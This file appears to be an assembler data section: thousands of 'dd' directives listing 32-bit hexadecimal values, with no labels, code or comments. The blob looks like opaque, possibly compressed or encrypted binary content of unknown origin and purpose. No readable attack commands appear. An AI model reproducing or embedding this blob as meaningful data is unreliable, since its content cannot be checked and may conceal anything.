dd 6A860Ch, 874F6330h, 3D0EE9F7h, 0C9E888BEh, 5B3E84A0h
dd 31590958h, 0B29E2F5Ch, 0C0B93C75h, 4BE56809h, 2D30CB46h
dd 2EC68F26h, 0DF760BB9h, 7579F301h, 21BEB249h, 0F32CE9B3h
dd 168BC745h, 69C52D02h, 59E00133h, 0FA837D3Fh, 0C121C20Fh
dd 85F16E83h, 0F1138F72h, 68B70B79h, 5854C518h, 0C4BE055Ch
dd 570B6EB4h, 5F135E71h, 0F61FDAF2h, 2CFF01D0h, 41EA801Dh
dd 2614DB7h, 4F21645Ch, 7E8D1B55h, 0D4A2FD41h, 17DE20Fh
dd 4B5BDF2Dh, 41E098C9h, 0AB7ECB3Ch, 0A03139E1h, 7505ED22h
dd 2926491Ch, 8EBFB0Ah, 302A3426h, 18B55102h, 0C08DE580h
dd 0EDD0CB4Bh, 0B730AA6h, 152FEC86h, 0B16961A2h, 3B3528E8h
dd 0C160B017h, 0CAC1DC1Fh, 45C67D47h, 1021297h, 2A6304FAh
dd 0CD9E3039h, 68227B16h, 0D3014E0Ch, 0E15B852h, 73891F27h
dd 0F75DEA41h, 810480DAh, 3756ACE2h, 4B889522h, 25400781h
dd 0DA31309Dh, 49BE895Bh, 0C0DC2A8Fh, 0E9D921BFh, 28695CBAh
dd 41F15F80h, 0EE0B8194h, 84F536B3h, 2684FECBh, 10D00810h
dd 0C10D7FD2h, 753A03E5h, 155AF8D9h, 1C207B4h, 0ACF2D9DAh
dd 22054BE1h, 0F39840BBh, 0B1A5143h, 9FE9D8A3h, 0D8522559h
dd 26C0EFF8h, 0B1514C04h, 58807B0Fh, 0EA785DC5h, 291B59CBh
dd 1119BE0Fh, 0A7F68181h, 0EE0A871Ch, 46E725DBh, 7DEF7C3h
dd 0E94B5C15h, 5B3ADC98h, 87E6297Dh, 741968FBh, 5E98C176h
dd 74CBC020h, 0A53A1FBDh, 7ED4B7Dh, 0E59A5886h, 619DBA05h
dd 2FF0225Ch, 902B8C2h, 7E92338h, 24B95960h, 6C013534h
dd 6FB0F1C5h, 48910955h, 68C2F2E9h, 8E967CD0h, 19872D01h
dd 13E944D3h, 7AA875h, 0FB2252E4h, 3BFA5E1Bh, 7ED84D4Bh
dd 85BE0456h, 0A83FAE44h, 4E581BBh, 0D4307D98h, 85018275h
dd 0A41748C9h, 0DF1E1D0Ah, 4C749FB9h, 8AC8298Fh, 1230AB56h
dd 0C1585CE9h, 295AD06Bh, 277F61C1h, 5B510113h, 1C5F0959h
dd 5527683Dh, 0AF28A24Fh, 238ECF5Ah, 0F8427C27h, 6FCAF6DCh
dd 0CE82A81Dh, 0D8B6E921h, 3C6EE8D6h, 6FACEED0h, 0FA098EC4h
dd 9227BBEBh, 0A167D55Bh, 107E380Ah, 8E4C1893h, 750B5C85h
dd 0DE1580A6h, 22508603h, 2316EB92h, 0A3C31776h, 0FDFA0C1h
dd 0BBFAA00Bh, 166C34Bh, 3A0757CAh, 3C691ABFh, 715EB140h
dd 7169E9Ch, 0D0FCF781h, 99E94AD7h, 0C0533F5Ch, 6D6C2268h
dd 4F5D7E5Fh, 0CBB18458h, 3DBF0EC2h, 4F2D2162h, 3F61D7F7h
dd 60F540D5h, 167A2E20h, 0F176082Bh, 8D72825Bh, 748002C8h
dd 0D00517DAh, 0E9D82923h, 5E496A31h, 21FDFB31h, 0E0A6149Fh
dd 57F0AD7Bh, 6A64F5F2h, 0DA3B812h, 3327C704h, 100A844Dh
dd 504C0893h, 2F46C911h, 4241440Ch, 5BFA5959h, 0E1B9688Ch
dd 3458EA68h, 0CDD5CD13h, 0E02C3BEAh, 11F909B9h, 6900581Ah
dd 62F24C50h, 671E1390h
dd 0C146DD64h, 93606E3h, 34D261F1h, 23F8A780h, 455C1B1Dh
dd 1A0E1CB1h, 0E587381Dh, 0F88F5812h, 3FBCC51Ah, 318C4B5Ah
dd 0E7465DEBh, 297E4404h, 85ACDAE9h, 58C61276h, 0F66100D1h
dd 17EC4845h, 4049E910h, 2DD00109h, 25B9367Ah, 0C9EC5045h
dd 9C00D3B2h, 9F1143E9h, 3C8B2998h, 1B8121A6h, 9207235h
dd 1A790D68h, 8C6691Ah, 5F0A2072h, 0E1255457h, 24BAD0E9h
dd 5F51FEC9h, 96233AF2h, 5B2712FBh, 4C209B53h, 760E205Fh
dd 7DC22D59h, 0FDF6D3CEh, 383D555Eh, 5169E02h, 2000BF58h
dd 63683862h, 0AF299114h, 7F53C461h, 41482728h, 84C23DB8h
dd 50092B9Dh, 0A57E621Ah, 34F6E635h, 0CC5A8B39h, 0BCD729BFh
dd 0D4C91AF2h, 0E7B35460h, 0FAEBC03Eh, 255DDA49h, 68B6115Ch
dd 0B76C78D2h, 0FB01F9B8h, 3630E914h, 3874054Fh, 0A9A87DD2h
dd 5F089D73h, 18932C0Bh, 75EDE1F5h, 678D4714h, 210977D6h
dd 8E9BA824h, 7C78258Fh, 0DE01D846h, 23054BACh, 0EA50FF98h
dd 0B74FB031h, 0AF24E852h, 293CDFA5h, 5D4AF093h, 60F775BAh
dd 0D1B231C1h, 500B6812h, 9A8DB9CCh, 46B2BDC5h, 2F000D78h
dd 0F762415Ch, 0E994E9D3h, 0D82C448Eh, 13D3304Bh, 0B348982Dh
dd 39681334h, 98D63407h, 0E9155320h, 768EF666h, 803D967Bh
dd 0B789AA79h, 0EC5A5427h, 0E00CD311h, 6D3312Ah, 475830E3h
dd 6F5E2624h, 0F9D68F05h, 0B3813968h, 6A15EB7h, 72B050C3h
dd 0C40E6E2Ch, 6158C588h, 0C8FE59E8h, 27E956F0h, 833424DFh
dd 435E8EA8h, 41C9A95h, 0CA12F4B4h, 46917ECFh, 0F95A6789h
dd 0D362204Ah, 27835282h, 0E83AA514h, 84BF53D3h, 92C4565Ah
dd 0C61D0812h, 5D0BFBD0h, 5D09C831h, 0C604E552h, 2D5E4A7Dh
dd 0DCC77C82h, 0D1D0CD8Fh, 7D332050h, 0FB8B640h, 76C742DFh
dd 14A23F49h, 76540C33h, 634C2C64h, 0EB068135h, 12A765AAh
dd 37B0059Ch, 0C5450924h, 0CD7480CAh, 0C3B62ACh, 0B3F50111h
dd 140787Ch, 7F40DC31h, 4FC6835Bh, 223B2902h, 485E27ACh
dd 8141B89Bh, 2D65725Ah, 57903852h, 80707D68h, 4E4C25E9h
dd 0F830A144h, 87790CF5h, 42468A4Fh, 0D2F810D1h, 4FA2454Fh
dd 0D5CAA258h, 0CFE90957h, 0A4E5C40Eh, 744CD281h, 1547A96Eh
dd 0BF80DE9h, 8007E8C1h, 0A95AE6F8h, 205EB001h, 0FC0ADEF7h
dd 0B7F9AA0Ch, 9C5B2F00h, 98F30102h, 5E0881F4h, 0DEF2F531h
dd 0DF047A6Ah, 0B584443Ch, 0C782010Bh, 6800D59Eh, 4BFD6AEBh
dd 8413C06Dh, 24616973h, 9921950Ch, 92CCE9F4h, 0F85E5026h
dd 75423F30h, 164A4E7Ch, 4232E77Bh, 0D82010A6h, 25FC404Bh
dd 289C400Dh, 21C2D4Ch, 0E6E92088h, 0B130CB10h, 0F223550Eh
dd 156C5A26h, 5C279807h, 596157A3h, 1C772712h, 1202C780h
dd 730A587Ch, 3B081110h, 81010083h, 34ABA4F1h, 8B9A98CBh
dd 0AFC6A5F0h, 1F16B769h, 778B2D9Bh, 0CB2AD95Ah, 0E9424051h
dd 2F3774D2h, 0FD1C820h, 292D55A5h, 8241C674h, 0F292C20Ch
dd 81DC0DAh, 38596494h, 7858E977h, 0F66C215h, 2D48E4B3h
dd 0D368B499h, 2C27021Ah, 506E046h, 794B0248h, 87FE972h
dd 4F2F94D1h, 0ACE9068Ch, 9EBDBEB9h, 62E91285h, 0E57A572Ch
dd 2CFE2D6Ah, 0A249353Fh, 0D641D53Dh, 0C4106ACDh, 1239BD50h
dd 8945C3F5h, 0F6C005EDh, 4CF4DCAh, 5DEA01FEh, 143C8057h
dd 9900215h, 97C0A67Ch, 0F704D0EFh, 10294A3Dh, 715908BFh
dd 1C81D193h, 796800DCh, 101BB70Dh, 6D055AC8h, 0BA296B4Fh
dd 9E6999F8h, 0C9E942A0h, 2094F0ABh, 0F3FA82C1h, 0F1288810h
dd 0CFD02914h, 0B418B10Ah, 9CE901FEh, 0FA015AF6h, 0A2B3D58Eh
dd 0A4616213h, 3FBA5D71h, 40A5E678h, 18CBCCCBh, 0B32E8E9h
dd 0EDA9B382h, 921A59EEh, 2AEC537Dh, 88D49DB4h, 124275A5h
dd 9F26ED01h, 0E9C57253h, 6CF6E3E8h, 6B31CCD3h, 0E1AFEE29h
dd 1A46F68Bh, 0DA5BE916h, 3AFB5642h, 62714263h, 0B5BF16E7h
dd 0E9175C94h, 818D0543h, 536D15E5h, 42DEC303h, 0D8F92E8Dh
dd 2D06815Bh, 3692603Fh, 0E97D56E1h, 5EF04062h, 8853D590h
dd 0BA52D339h, 9B30A4DEh, 0F501FC11h, 0ABC0E285h, 0EAE9F301h
dd 49752E46h, 24E96DCCh, 98E3B2B6h, 7ACE2481h, 58463F00h
dd 4A5DBA52h, 11E7EDFh, 0EF7C08CAh, 20EAC111h, 0CCB0D274h
dd 1AC6A5D2h, 0C0833DCBh, 266657D0h, 1918C885h, 0C52C6B81h
dd 71D27052h, 75896D4Ah, 9853B2E1h, 805BC028h, 0B7E73F5h
dd 0EDD091E5h, 0C0328459h, 15661FEh, 2A8459E1h, 0AB60E9D7h
dd 8008D253h, 4BECA002h, 9A8984C7h, 4834843h, 45127A32h
dd 647147A0h, 80DF9D38h, 0B725860Ah, 18DD1250h, 747E5516h
dd 81413D4h, 2F424940h, 4B98C166h, 0C98100D2h, 753D47C7h
dd 325DF614h, 0F76882FEh, 0D9C40F59h, 62F7D75Eh, 1748628Fh
dd 351EE3EEh, 39C93F19h, 0B996EBC6h, 5A033CEFh, 81C48EE9h
dd 0BF16C16Fh, 8C30BA2Ch, 0F247C341h, 1A9B3CC6h, 12D3D4DFh
dd 0C5CB8A4h, 8F66C331h, 0B164AB86h, 2A3E765h, 5DEF0109h
dd 3CBF9238h, 4A1B6695h, 57698272h, 3DFB6240h, 0BF371A00h
dd 0C946D185h, 5EF73F01h, 315324h, 0B9A11A4h, 919A45E9h
dd 430A834Ah, 68E2D15Eh, 13C7102h, 0B96CA2BBh, 0B7C94055h
dd 0B216BCA0h, 0A939DE29h, 59BB412Fh, 0FE08760Dh, 44A58E51h
dd 0F92F6105h, 0E375C980h, 0B07297EDh, 0A3B55111h, 3C73CDFAh
dd 880DED02h, 0F4F9E9EAh, 376CC9E7h, 23E0520h, 0B2671EBFh
dd 9EFE291Dh, 0D3DEB08h, 0D1B014F7h, 292720DBh, 0A0666900h
dd 0F68FE4B9h, 2ED9F2BAh, 3D27415Bh, 77696E81h, 0E459CA01h
dd 1918FDEAh, 0DC0C54A0h, 3F122025h, 7A28010Eh, 0E2C28A4Bh
dd 6C980822h, 9B5CBB0h, 273BCEB3h, 0E546D0F7h, 0FEF30DD3h
dd 9F87B7Fh, 0D37E9C7h, 527A5166h, 4C4A422Fh, 0B24946Fh
dd 9480310Fh, 3D5AB6BEh, 0A0BF5778h, 8C051F78h, 0F0DC904Dh
dd 68BB261Bh, 0B2EC135Fh, 7F583412h, 7378F800h, 0ED012DE6h
dd 8069A44h, 12771768h, 200EFCE9h, 635AA9EEh, 40B21851h
dd 9CA5554Bh, 0F329E704h, 0CBD2D3E9h, 4D9C8042h, 25B7C08Dh
dd 0FD24D031h, 0C3742D59h, 15440F2h, 82ECF950h, 909A515Dh
dd 0F668828Dh, 0E5767956h, 0E9D5805Ah, 874940Ah, 19280234h
dd 0FAD0BA23h, 2596543Dh, 0D9EA512Eh, 0B35A6591h, 0B368C2B5h
dd 27CC7108h, 0ACBC2293h, 0C83B3F7h, 0C94AE90Ch, 889C5F5Eh
dd 0CE10FB2Ch, 0B09A194Ah, 45F07344h, 0F6EE2093h, 0BB28EA67h
dd 6A307DD1h, 8DAE137Fh, 5C52A4A6h, 2FF49815h, 0FE28145Ch
dd 80949Ah, 4E0CB7B9h, 4C64017Bh, 29EB59BEh, 0AC134992h
dd 135E5A07h, 0A370BF68h, 2935405Ah, 560369B0h, 420F2B68h
dd 0BC674813h, 553BEC25h, 68D4A1DAh, 0EBCAFE0Eh, 0C1A2419Eh
dd 0E0504171h, 4C8F0A6Fh, 0D9263603h, 0BEA04994h, 5B8E0BDEh
dd 0F7515F78h, 0E6593A07h, 0AF425D7Bh, 49D82B9Fh, 42A268F2h
dd 0B40225CAh, 6A92523Ch, 282D1100h, 764CC87Ch, 504F495Eh
dd 81317D0h, 968751B0h, 0D33470E2h, 8DACBD85h, 0C9BD893Fh
dd 817A5400h, 4217C0CDh, 28087D1Ah, 22C16E7h, 0C3283D1Bh
dd 2A6126E2h, 0D178346Bh, 3F093690h, 495AAB4h, 0F604D36Bh
dd 0F820C5F1h, 83444E13h, 0C003203Fh, 0C7C107E1h, 0C2BD50E3h
dd 8C4B6424h, 4C0A0083h, 951A8BEFh, 86090F47h, 525DFA52h
dd 0C8F94094h, 1EB307E5h, 0B51600BDh, 5AF5308Ch, 4CEC5FEh
dd 28278280h, 0B3353ECh
dd 0A9102B73h, 0E33019EEh, 8B8F8E14h, 0A9D4CA4h, 0AD6BAF34h
dd 27764CA5h, 0C0576A80h, 80B4BC0Eh, 6377DBBDh, 88893426h
dd 5AE0E027h, 5EB02C1h, 0C45BE957h, 0C6654EFEh, 60C4B0C4h
dd 0CDC4CCA2h, 52CF1EADh, 16EC0551h, 4DC47BA8h, 0FADCB4BEh
dd 6DDA0C01h, 8106E1C1h, 3A202270h, 0D8A6638Fh, 0E63FBFEEh
dd 7FBF5700h, 3146182Bh, 4A08FE58h, 0BA7ABE21h, 0F392F93Ch
dd 58AB5CF2h, 784F69CEh, 8AD84B19h, 33523F69h, 0B3D2AC6h
dd 462CE813h, 0E31BC06h, 0AF4E597Fh, 62ADB382h, 804956ECh
dd 5A3F7B05h, 0B00B2D38h, 841CAF5Bh, 0BE0056A6h, 0F8A61BAh
dd 24F2013Eh, 0B8AD0F87h, 81458F37h, 0A00A512Dh, 0DE292DF5h
dd 0A8B0BBD3h, 5A6DECACh, 28EACD56h, 65D68957h, 78E90414h
dd 0DB39EF5Ah, 9680520h, 35717ACDh, 0C282DA46h, 0F7FEFA01h
dd 810889D7h, 9851D2EEh, 0E76F58A1h, 7668722Dh, 33BC125Fh
dd 0E1109349h, 0D096E568h, 82141DD1h, 7B1825C5h, 0F62CE285h
dd 9EC14E30h, 0B7780C36h, 75A2E096h, 0B6B53BB2h, 419290A1h
dd 0BE0E6FCAh, 7EF50F79h, 0BFD28065h, 7A442658h, 0EA76480Ch
dd 316FC580h, 0CCED07F5h, 613024DEh, 39151875h, 6D1B407Dh
dd 6CED201h, 5AE9EB89h, 99B6123Fh, 4BFA52C8h, 0B907A2D8h
dd 675365E1h, 0AF03FAA2h, 1F2CA169h, 8E3D2728h, 4361C805h
dd 0F1348976h, 0E90C486Ch, 681F5425h, 9D3720D7h, 0F8F1B793h
dd 0FBB025BBh, 4BF9F1CCh, 36277E77h, 0F800EBD8h, 0B03EB875h
dd 5BD5409Ch, 76CA0500h, 0F82904E5h, 407A22Dh, 0C1DBFE2h
dd 9A4F2710h, 0D212BB4Ch, 4510B81Ch, 4301E849h, 7DA0E381h
dd 0F3B0DFABh, 0F2A21521h, 0A73BF7F6h, 505C99D0h, 52D7286Ch
dd 44DFE3CAh, 0A44AE905h, 48D9C16h, 0AB878E01h, 3F5BE5A6h
dd 8498C1A0h, 2C721948h, 0AE12936Bh, 681CF0A3h, 0CC92AD16h
dd 356E204h, 0B086A1BFh, 0F8F72992h, 9701BE93h, 0AE7DEE1h
dd 0FA3FDDE9h, 0D696096Fh, 0A7D127A9h, 3E5A4Bh, 38852B86h
dd 7E4AE805h, 0D6354900h, 0E9F93036h, 0A4594F53h, 8001CF6Dh
dd 8305E20Ah, 448A5D38h, 2072DC8h, 73416859h, 0A70040A9h
dd 17ED0650h, 0B54B930h, 65FF929h, 0E5462505h, 7824773h
dd 1E4A6364h, 8868D4C0h, 0EE18950Fh, 0F9133761h, 8E015F35h
dd 3BBF39FBh, 97D162Bh, 787C64D5h, 78F209C9h, 737598F7h
dd 0B6F53DEBh, 9D00E7A5h, 9E4CF9BEh, 0D41455Eh, 0BA61B303h
dd 0B5C60B6Bh, 975B43A5h, 65C392B4h, 0BD013351h, 7C3320CFh
dd 8D3864F5h, 0C0EFB500h, 0E58005EDh, 0B0504207h, 34270428h
dd 130A93DEh, 1016B0C5h, 0EB2C86DDh, 8B3EF2D0h, 5C6B62CFh
dd 0F1E9C8D4h, 42F3422Eh, 0FFF0BA66h, 2F5A601Ch, 4002C5A4h
dd 6020BC49h, 26268A33h, 1F3F6F47h, 1378CB32h, 0B3C8B004h
dd 5C2F79F8h, 9FFA6C50h, 0E90240B8h, 925B059h, 87506658h
dd 98B27189h, 16E151D4h, 0B5F80B5Bh, 57D9A729h, 66367B0Bh
dd 4CAE2DF3h, 384556E9h, 1F24EF0h, 0D7CCE3D6h, 0E8BC3191h
dd 8A136BBBh, 7536F409h, 2C9C110Fh, 58328945h, 64A0B46Dh
dd 101AADFEh, 9E40A996h, 0C2161283h, 0D5180F70h, 0CAF6B4C4h
dd 0FB4B7BCCh, 0EE74549h, 6B75E054h, 67D3F752h, 72DD1250h
dd 1096173h, 68135D5Bh, 0BADB6220h, 3179A46Eh, 0F4575263h
dd 0D05D020Ah, 59B0FCD1h, 288CC47h, 399C2998h, 2E6C9D32h
dd 0D860A6BEh, 971AC67Ah, 80923EAh, 0D6D39843h, 48D4894Bh
dd 960C9D88h, 0F7885AA7h, 127E4706h, 0F84B3FCAh, 34E32A03h
dd 0CE0158FBh, 13088280h, 74CBDA17h, 0D8010E64h, 0D7581FE9h
dd 16E79EBFh, 37E5B2E9h, 0B8C9840Ah, 25400093h, 6C870D47h
dd 9D65192Dh, 7F5E30BBh, 16C1B847h, 0DA58EFE3h, 0D9C8EAABh
dd 67DE4F4Fh, 0F82CFF9h, 4051C8AFh, 83A88A0Ch, 3484210h
dd 0BEE8813h, 8180F09Bh, 66772CC8h, 55099BACh, 511861E9h
dd 908125Ch, 0D9DE5D9Dh, 0EC284E9h, 0E0A7550Ch, 0D74F4C9Ch
dd 4C668204h, 1AC95F0Eh, 3127CD50h, 0C8BE60CFh, 63E13F4Ah
dd 6468410h, 9207D005h, 0AAB255Eh, 0E82F1DD9h, 0BF5A5438h
dd 9AB54514h, 6D225692h, 528F5082h, 801CC9B2h, 0EBCE35EAh
dd 0ED30F88h, 0CB04B7C3h, 2DBF3E18h, 897CB9ACh, 915651DEh
dd 0A750C106h, 3C4A410Dh, 0E096671Bh, 57680008h, 0C289BF6Bh
dd 150A59Ch, 0AFE913CAh, 5839ED55h, 42C7000Ch, 0F4826F30h
dd 5A013BFCh, 0D930B4D5h, 0C1B7409Bh, 4605EE1Eh, 0C0F44B7Eh
dd 1CA76499h, 0ED0BFEFEh, 714AA2F9h, 6E32553Bh, 70C1B70Fh
dd 0C54A2103h, 7F3FD1E9h, 4A527176h, 2E0A8962h, 0F716DA8Bh
dd 3281E1F1h, 84099208h, 0E5CA32CFh, 0E84A27B0h, 72598931h
dd 0CE0E12DCh, 515E4291h, 0B966003Eh, 0BF1D9D52h, 0CA62E938h
dd 0FA25DD29h, 8AC94E20h, 8F858257h, 204893C6h, 334141F6h
dd 0F4969679h, 576C315Eh, 30E906F0h, 0E3734446h, 140673B5h
dd 4DEB877Eh, 0C1909006h, 0A4720CD0h, 9A1D3046h, 44104312h
dd 3C07E21Fh, 0C9C02B25h, 0E5D90998h, 8A4E1880h, 0CB31CA06h
dd 0F5C1594Eh, 0FE04571Ch, 66E8FD07h, 515E1FDEh, 0ED80B440h
dd 0B202E985h, 84681312h, 0E02FC966h, 0FDB31235h, 540CB702h
dd 2611D43Fh, 658002A7h, 0DA50FAA0h, 6834B52Dh, 7F14EA42h
dd 36C09509h, 510F3E05h, 8BE92D48h, 598F19D8h, 581A3F37h
dd 0F0851CA6h, 1E2BC69h, 0C34387BFh, 0BB7C290Dh, 0F8243D6Ch
dd 181B140h, 0F5A614C7h, 0F4FA2194h, 0EB2393Bh, 2E8FD48h
dd 96694DC5h, 0C787C001h, 264311Bh, 0EDD9F918h, 25E6DCEh
dd 0F45F3C6h, 0B090E01Ah, 0BC7327DCh, 0DF203402h, 65806DDCh
dd 0C12C760Bh, 0F9074CEBh, 7EA8A04Fh, 0A728093Fh, 97A7221h
dd 0FAF7FEA4h, 9000E4E2h, 46EE5D50h, 0B3043D98h, 29557E12h
dd 0DC7DE902h, 560B47ECh, 64177068h, 0C78E8134h, 31C225B1h
dd 0DD5BD51Dh, 0C9CE3052h, 0CDB3A5C4h, 610149C2h, 68EE251h
dd 2CEC058h, 0D980E36Bh, 0DE20A9F3h, 0EE1D5B7Fh, 0F3BDF6C7h
dd 17453B5Ch, 0D420637Fh, 0B845319Dh, 0EA680F9Bh, 5DEFE252h
dd 406BE84Eh, 0B6C90366h, 165BD458h, 2A24B22Dh, 4F12E9B2h
dd 9F1ADFF7h, 612DDC1Bh, 5759CD29h, 0EE7766C6h, 0CEB5FB7Ah
dd 0BD19302h, 4E2B7CE9h, 0F3DAD333h, 7001B2E9h, 4AB4C310h
dd 0C8885007h, 4058C222h, 0BF5AD789h, 61A49089h, 0BEA3257Eh
dd 0E7890289h, 4225A0E4h, 0F7505A4Fh, 6BD4F4F6h, 7A155420h
dd 87903CBBh, 5551209Ch, 1BEB607Ah, 1D486F17h, 3559090Eh
dd 74AA200Ah, 2014A491h, 0B50ED701h, 631E4129h, 70DDE9F8h
dd 7DBB06C6h, 0F2130418h, 70B71BA8h, 86D7F60Eh, 8D68CF7h
dd 0FFEF1C80h, 5207C0C0h, 0E97EB151h, 49C96E54h, 0F10181E2h
dd 162D5FDBh, 9968CE29h, 540393D4h, 1415039h, 5A1080B4h
dd 6B06042h, 8DC1977Dh, 5D440667h, 0EF8FDCE9h, 2C42BE56h
dd 0C8D6512Eh, 2FC2811Ch, 4076BD59h, 6260E1B9h, 5636C066h
dd 30701A80h, 7AC117DAh, 2D6DE768h, 18C5EAD8h, 0C08AC2Eh
dd 187D3B8Eh, 10F22924h, 0E9120820h, 0F2F20803h, 9B589D27h
dd 0B15E115Ah, 6C9CA492h, 426B089h, 0A0685B5Eh, 1036E31Ch
dd 0A94C52CEh, 0E30A4613h, 0C1DB1025h, 689D0F5Bh, 76711069h
dd 0C148A0BCh, 0D81F9BB2h, 0F5FE216Ch, 0B4146E95h, 80EC5D30h
dd 144EBD55h, 0E90C0815h, 5E003A3Dh, 4A63EF81h, 0C1504F8Ch
dd 81F209ECh, 1D24CA18h
dd 0C8DB7722h, 0E0D1ABAh, 0D789576Dh, 0E98A0F53h, 0F122B06Bh
dd 7ECC6FB2h, 13DCCDD0h, 2752CC5Ah, 26CD7A00h, 0BD2910C8h
dd 0B15B6304h, 390C068Dh, 0BC4FE9F6h, 9AE3A212h, 290F4648h
dd 472B652h, 0B016E944h, 0F825318Ch, 60A87956h, 4BF51B3Fh
dd 0E9041283h, 0CD75539Fh, 13CA6953h, 3BC8C830h, 540CF5DDh
dd 0BCF3949Fh, 6402E424h, 4C1516FDh, 0B2124A18h, 1A4E08CDh
dd 44D4592Dh, 805C20C0h, 0EA904CECh, 66A43125h, 0F17981C6h
dd 0A73ED54Eh, 0C4B46A0Ch, 0F846205Ch, 751ED9F5h, 0DD8240C3h
dd 7B508D2Ah, 0C282A8DDh, 0A184001Ah, 0ED69D13Bh, 2F14B6E0h
dd 75833D7Ch, 0EFEC8CE9h, 4004F25Fh, 169444B0h, 5E4543B8h
dd 81A52E2Ch, 3AFC2772h, 68F0A857h, 0CE65179Fh, 16F8592h
dd 4694C0Ch, 0E05E717Ah, 1B12E91Dh, 0AD08CB09h, 0A8CD81A3h
dd 7035903Fh, 98ECAE1Eh, 44C901ECh, 0AD6F156h, 0A880B0E9h
dd 23E10BE2h, 4FC25DDAh, 0F5ABB882h, 5E5A2DDEh, 9D76D244h
dd 514CA15Ah, 0C824C9E9h, 7F68125Eh, 0CE843673h, 88310701h
dd 2259E939h, 0EE4E416Eh, 6E388A33h, 9213EA84h, 50A256BDh
dd 25D9DF40h, 8B75C93Fh, 69CCE9E8h, 1C60E0C1h, 2E675032h
dd 9A7D1EDBh, 0C5BFD08h, 8718530Bh, 7B772300h, 8C5C45BBh
dd 17F7B866h, 20582BE9h, 482AAEBCh, 99F6976h, 59FA4864h
dd 0ABFA55E9h, 376F0C8Dh, 3573F19Dh, 92904A8Eh, 0B149BB09h
dd 0C5517465h, 7500DEF7h, 3C5F9F0Ch, 831D4E8Eh, 8FC6AFEBh
dd 6970E93Dh, 0E30D0142h, 0CFD7D328h, 0FDE0A45Fh, 0D41BA218h
dd 9744E49Dh, 2A983300h, 0F7266CC0h, 310071D2h, 0E956FD02h
dd 488F9AA5h, 98932901h, 552FE9DFh, 0FA01ABA7h, 0F50CD7B2h
dd 0DD5730BEh, 3EEE23C0h, 908056DFh, 0F946B715h, 5238B0B0h
dd 5BB2C8B5h, 0F1EC5829h, 0A816D2A0h, 0F8451513h, 10689412h
dd 1A49A661h, 1F336778h, 8243174Bh, 1E6A2E2Ah, 0B0CEFC0h
dd 0FA167192h, 0BCAC425Fh, 3C6668A0h, 25C57658h, 9F900ACBh
dd 6DAE96BEh, 0B82D48B3h, 0B853F809h, 5F545705h, 0E9E3BCFDh
dd 1780F9FCh, 0BF8C2967h, 6BC79602h, 764BC251h, 0B78A624Ch
dd 97A233FCh, 34D82A8h, 19CB6650h, 0F697073Fh, 1B5E906h
dd 0B180473h, 0F5F5BE6h, 0C3095480h, 409D48AAh, 25F28914h
dd 920926E9h, 340C6E7Bh, 8A2271A5h, 6681945Dh, 631E233h
dd 565C0DCBh, 0A4E95026h, 2B9FAD52h, 92BFA287h, 0C5B42238h
dd 1A2600E1h, 87B3BE29h, 30ED7880h, 0E9274E7Ch, 6658E024h
dd 0B50A7168h, 70203E64h, 0B4148A3h, 0BCD4855Ah, 505216DCh
dd 71A40900h, 4B80C18h, 837BCB36h, 82EAC429h, 0C00E3B0Bh
dd 0B8040C35h, 0FB3EB046h, 0C3834CD1h, 0F50858E6h, 3B31DFD1h
dd 0D9D43A44h, 2DD02900h, 803155F8h, 0FA911A5Ch, 0FEDCB100h
dd 0E0C1C94Ah, 903AD9F6h, 0E8E935BBh, 0CB41E265h, 2A7DA3A3h
dd 5B9F42Fh, 8EE58AF6h, 0A33CE07Eh, 6ABCA2BAh, 9C228B04h
dd 9F5ACEC1h, 8A053281h, 0E975A24Eh, 1163CD3h, 0B1FD7BAh
dd 8F3C316Dh, 835AD1E0h, 6502C12Fh, 0EB273E31h, 95A67CF1h
dd 561B490Bh, 0F35F56EEh, 0F4FFD082h, 77C9721Eh, 39C06121h
dd 0E4614F03h, 2901A213h, 0BF40DCC3h, 6BF5E7C1h, 833E441Ch
dd 6CF839F5h, 0EB4B71E9h, 641F6F4Fh, 46805778h, 241E5BEDh
dd 2527CDF3h, 0BA0AD053h, 0C7948314h, 0EFC1B08Eh, 0CEE8B702h
dd 6209DB61h, 84F801EBh, 5C09A9B7h, 2F4051F6h, 1FED2F6h
dd 0BEB450CAh, 0E119C480h, 79F4D4CCh, 58E2081Eh, 0DA1FADF9h
dd 8DEA5859h, 0EBC8521Ah, 89F59BC1h, 76F766EBh, 9E5E899Dh
dd 9DC1EF9Bh, 6897AEDh, 6B06E1h, 518CB4D9h, 3590F2B1h
dd 3D20847Dh, 2140BDA7h, 7E486231h, 5A5520BCh, 96E5B321h
dd 4A20FCA4h, 0EBA92EAh, 0FE66D7FCh, 215D0D2Bh, 6FA41C6Fh
dd 0B6053CCCh, 436469FEh, 0F8AB3E6Bh, 9A20F98Fh, 3D5E5D51h
dd 0F82375D2h, 7782072Bh, 7069761Bh, 422B0961h, 0C3852012h
dd 590708EFh, 292D8018h, 9AF198F9h, 665304FFh, 0C72A56BBh
dd 7B91B39Bh, 31C30A0Fh, 0DD09C0A1h, 9C344AE9h, 32DA82E8h
dd 0AB622BE8h, 28786F50h, 4B685912h, 52C2F8ECh, 0C78B0B6h
dd 8882EE01h, 0EFC05AF7h, 5492CF42h, 3D2D0059h, 95575DFh
dd 5658C524h, 1F08AA03h, 0F5865B36h, 0E9EBC4C2h, 0EBCA312Fh
dd 49DEAE0h, 52F9815Fh, 50BE10E2h, 29220A68h, 5072DE8h
dd 8AC1B7E9h, 1459275Ah, 203395D6h, 0C342945Ah, 0FB1D4468h
dd 41723F0h, 0ACF488E9h, 0C80AD263h, 898EB606h, 205F41F3h
dd 0EA385E5Bh, 21E668A0h, 0C162A7B4h, 0A69BD518h, 7BE66AD8h
dd 9C0130F1h, 7B33254Bh, 7E2FA167h, 79CA0B6Ah, 0DD7C3429h
dd 54057869h, 15EE80Bh, 6E80BB53h, 0CC8173F3h, 3C2846F0h
dd 940BBE47h, 0D0CB30D7h, 3B575C97h, 0A0705E2Fh, 8995C4Bh
dd 2D7E2321h, 0B4B728C9h, 895E8DE6h, 0AD4D30E7h, 27E5A14h
dd 4B5E0295h, 0DF1668E9h, 612F1BAh, 0C380CF10h, 2F357CB8h
dd 0F780F6BCh, 4AA11F1Eh, 296C413Bh, 252D7779h, 5A0700A6h
dd 2BDE20BEh, 963E05AEh, 0E24F5EF7h, 7761ACE9h, 0BF1C9EC2h
dd 12E001BBh, 454817D8h, 8BE3584Bh, 12A70827h, 0E529380Ah
dd 62CAAF3Ch, 0F0F55813h, 0E7544478h, 0B878EB90h, 5163F42Eh
dd 0F556A506h, 2A7ECB0h, 0C166B248h, 0EFC004E1h, 3A9FE6CEh
